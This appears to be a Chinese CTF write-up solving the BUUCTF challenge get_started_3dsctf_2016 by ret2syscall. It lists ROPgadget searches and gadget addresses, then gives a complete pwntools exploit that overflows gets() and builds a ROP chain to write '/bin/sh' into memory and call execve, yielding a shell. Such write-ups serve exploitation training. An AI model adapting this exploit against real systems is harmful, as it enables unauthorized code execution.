静态编译,想到ret2syscall。
首先使用cyclic工具计算出了偏移量为56。该题的gets()
是外平栈,无需“0xdeadbeef”。
首先找到pop eax:
ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" |grep "eax"
得到可用结果:0x080b91e6
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
找pop ebx:
ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" |grep "ebx"
非常完美的一条^^:
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
接下来找“/bin/sh”
ROPgadget --binary get_started_3dsctf_2016 --string "/bin"
没有结果,需要自己写入。先将"/bin"写入eax里,再挑一个可写入的地址:
这里将"/bin"写入的edx存入的地址,为了让地址可控,使用vmmap
命令找一个可写的地址,我这里挑了个比较大的0x080eb020
:
那么“/sh/x00”需要写在它的后四位。即0x080eb020+4
最后需要填入int 0x80:
ROPgadget --binary get_started_3dsctf_2016 --only "int"
一个结果:
Gadgets information
============================================================
0x0806d7e5 : int 0x80
最终exp如下:
from pwn import *
local = 1
if local == 1:
io = process('./get_started_3dsctf_2016')
else:
io = remote('node4.buuoj.cn',29252)
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
payload = 'a'*56+p32(pop_eax_ret)+'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(0x080eb020)+p32(int80)
io.sendline(payload)
io.interactive()